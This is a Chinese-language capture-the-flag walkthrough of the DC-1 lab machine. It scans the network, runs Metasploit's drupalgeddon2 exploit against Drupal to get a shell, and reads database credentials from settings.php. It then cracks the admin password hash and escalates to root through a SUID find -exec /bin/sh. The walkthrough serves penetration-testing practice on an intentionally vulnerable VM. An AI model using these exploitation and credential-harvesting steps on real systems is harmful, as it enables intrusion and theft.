目录
1. 将 kali 和 DC-1 放到同一网段(以 VMnet8 为例)
1. 将 kali 和 DC-1 放到同一网段(以 VMnet8 为例)
在高级里面检查 mac 地址
2. 查看 kali 的 ip 地址
3. 扫描网段,寻找 DC-1 的 ip 地址
方法一:
nmap -sP 192.168.100.0/24
方法二:
arp-scan 192.168.100.0/24
根据前面得到的 mac 地址可以确认 DC-1 的 ip 地址为 192.168.100.139
4. 详细扫描端口信息
nmap -A -p- -sS 192.168.100.139
端口信息如下
PORT | STATE | SERVICE | VERSION |
22/tcp | open | ssh | OpenSSH 6.0p1 Debian 4+deb7u7 (protocol 2.0) |
80/tcp | open | http | Apache httpd 2.2.22 ((Debian)) |
111/tcp | open | rpcbind | 2-4 (RPC #100000) |
59105/tcp | open | status | 1 (RPC #100024) |
这里可以看到开放了 80 端口,所以可以尝试访问 DC-1 的网页
5. 查看网站
地址栏中直接访问 DC-1 的 ip 地址,即可跳转到该页面
Drupal 是一种开源的内容管理系统,所以下一步可以使用 msf 扫描可以利用的漏洞
6. 漏洞扫描
msfconsole
msf6 > search drupal
以如图所示漏洞为例
msf6 > use 1
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show options
7. 漏洞利用
设置目标主机的 ip 地址
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set rhosts 192.168.100.139
rhosts => 192.168.100.139
开始执行
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > run
成功之后会获取到一个 shell 值
8. shell
启动 shell,并用 python 美化一下交互框
meterpreter > shell
python -c "import pty;pty.spawn('/bin/bash')"
ls 一下,发现里面有一个 flag1.txt 的文件,根据它的提示,应该再去找找 CMS 的配置文件
通过百度搜索得知,drupal 的配置文件为 settings.php,下一步搜索一下该配置文件
find ./ -name "settings.php"
可以看到该配置文件的路径,下一步访问该配置文件
cat ./sites/default/settings.php
这里发现一个名为 drupaldb 的数据库,以及用户名和密码,下一步尝试登录
mysql -u dbuser -p R0ck3t
mysql> show databases;
切换 drupaldb 表
mysql> use drupaldb;
mysql> show tables;
可以看到有一张 users 表,可能是存储的用户登录信息
mysql> select * from users;
这里可以看到有一条 admin 的用户名和密码,密码是经过 MD5 加密后的
使用在线工具进行解密,得到结果 53cr3t
9. 网站登录
使用 admin 账户登录,结果如下,成功登录
左上角有一个 Dashboard,点进来发现有一个 flag3
点进来结果如下,大致意思是说需要 find 提权
10. flag4
查看 /etc/passwd 文件,最下方有一条 flag4 的记录
尝试搜索 flag4 所在目录,发现有一个 flag4.txt 的文件
find / -name "flag4"
cd /home/flag4
ls
cat flag4.txt
这里大致意思是说需要 find 提权
11. 提权
suid 提权
find / -user root -perm -4000 -print 2>/dev/null
find / flag4.txt -exec "/bin/sh" \;
提权成功,可以看到是 root 用户,进入根目录下有 thefinalflag.txt 文件
cd /root
ls
cat thefinalflag.txt
至此,DC-1 完结